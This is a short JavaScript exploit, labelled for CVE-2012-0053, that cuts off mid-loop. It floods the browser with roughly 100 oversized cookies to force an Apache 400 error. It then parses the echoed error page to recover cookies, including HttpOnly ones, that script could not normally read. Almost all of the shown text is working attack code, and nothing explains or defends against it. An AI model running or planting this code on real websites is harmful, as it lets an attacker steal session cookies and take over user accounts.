// Exploit for CVE-2012-0053 // Set megacookie for( var j=0; j<100; j++ ){ var c = "x"+j+"="; for( var i=0; i<500; i++ ){ c+='A'; } document.cookie = c; } x=new XMLHttpRequest(); x.onreadystatechange = function(){ if( x.readyState == 4 ){ var data = ''; // 400 == exploit worked if( x.status == 400 ){ aC = x.responseText.match(/
([\s\S]*)<\/pre>/gm)[0].split(';'); for( var i=0; i